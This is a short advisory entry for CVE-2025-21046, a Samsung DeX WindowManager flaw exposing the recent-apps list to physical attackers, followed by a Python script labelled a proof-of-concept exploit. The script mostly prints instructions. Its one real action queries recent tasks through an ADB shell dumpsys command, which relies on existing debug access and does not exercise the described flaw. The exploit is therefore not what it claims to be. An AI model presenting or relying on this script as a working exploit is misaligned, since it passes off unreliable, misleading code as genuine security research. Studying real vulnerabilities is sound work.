Improper access control in WindowManager in Samsung DeX prior to SMR Oct-2025 Release 1 allows physical attackers to temporarily access to recent app list.
The following code is for security research and authorized testing only.
python
# CVE-2025-21046 - Samsung DeX WindowManager Improper Access Control PoC
# This PoC demonstrates the conceptual exploitation of the vulnerability
# The vulnerability allows physical attackers to access recent app list
# in Samsung DeX mode prior to SMR Oct-2025 Release 1.
import subprocess
import time
def trigger_recent_apps_in_dex():
"""
Conceptual PoC for CVE-2025-21046.
The actual exploit requires physical access to a Samsung device
running DeX mode with vulnerable firmware.
"""
# Step 1: Ensure the device is in DeX mode (connected to external display)
# or in a state where WindowManager processes are active
print("[*] Ensure device is connected to DeX station/external display")
# Step 2: Trigger the WindowManager race condition by rapidly
# toggling between lock states or app switcher actions
# This can be done via physical key combinations on the device
print("[*] Rapidly press Recents/Home key to trigger race condition")
# Step 3: The recent app list becomes accessible without authentication
# due to improper access control in WindowManager
print("[*] Recent app list is now accessible without proper authentication")
# Step 4: Extract information about recently used apps
recent_apps = get_recent_apps()
print(f"[+] Leaked recent apps: {recent_apps}")
def get_recent_apps():
"""
Simulate accessing the recent apps list via dumpsys or similar method.
On a vulnerable device, this would not require unlock authentication.
"""
try:
# On Android, recent tasks can be queried via Activity Manager
result = subprocess.run(
['adb', 'shell', 'dumpsys', 'activity', 'recents'],
capture_output=True, text=True, timeout=5
)
return result.stdout
except Exception as e:
return f"Error: {e}"
if __name__ == "__main__":
print("CVE-2025-21046 PoC - Samsung DeX WindowManager Access Control Bypass")
print("WARNING: Only use on devices you own or have authorization to test.")
trigger_recent_apps_in_dex()